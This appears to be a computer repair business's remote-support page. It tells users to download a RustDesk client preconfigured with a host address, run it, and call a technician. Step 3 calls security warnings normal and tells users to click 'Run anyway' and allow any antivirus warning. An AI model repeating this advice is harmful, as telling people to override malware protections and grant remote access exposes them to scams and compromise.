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Remote Support

Get instant help from our computer experts without leaving your home! We can fix your computer problems remotely through a secure connection.

How to Get Remote Support

Follow these simple steps to connect with our technicians

1

Download the Support Program

Click the big green button below to download our support program. This is a safe program that lets our technicians help you.

Download Support Program

What happens when you click: A file will download to your computer. This is normal and safe!

2

Find and Open the Downloaded File

After downloading, you need to find and open the file. Here's how:

Finding Your Download

Alternative Method:

Check your Downloads folder:

  • Press the Windows key + E to open File Explorer
  • Click on "Downloads" in the left sidebar
  • Look for a file called "rustdesk-host=208.123.148.35,key=.exe"

Don't Worry About the Name!

The file has a long, confusing name, but that's normal. Just look for the file that starts with "rustdesk"

3

Run the Program

Double-click on the downloaded file to run it. You might see some security warnings - this is normal!

Security Warnings (This is Normal!)

Your computer might show security warnings like:

  • "Windows protected your PC" - Click "More info" then "Run anyway"
  • "Do you want to allow this app?" - Click "Yes"
  • Any antivirus warnings - Click "Allow" or "Run anyway"

Success!

Once the program starts, you'll see a small window. Our technician will automatically connect to help you!

4

Call Us

Once the program is running, call us and we'll connect to your computer to help you!

Call us at (719) 629-7837

What Happens Next

When you call, tell us you downloaded the support program. We'll connect to your computer and start helping you right away!

Need Help?

If you have trouble with any of these steps, just call us and we'll walk you through it!

Call Us Now: (719) 629-7837

What We Can Fix Remotely

Remove viruses and malware
Speed up slow computers
Fix software problems
Update security software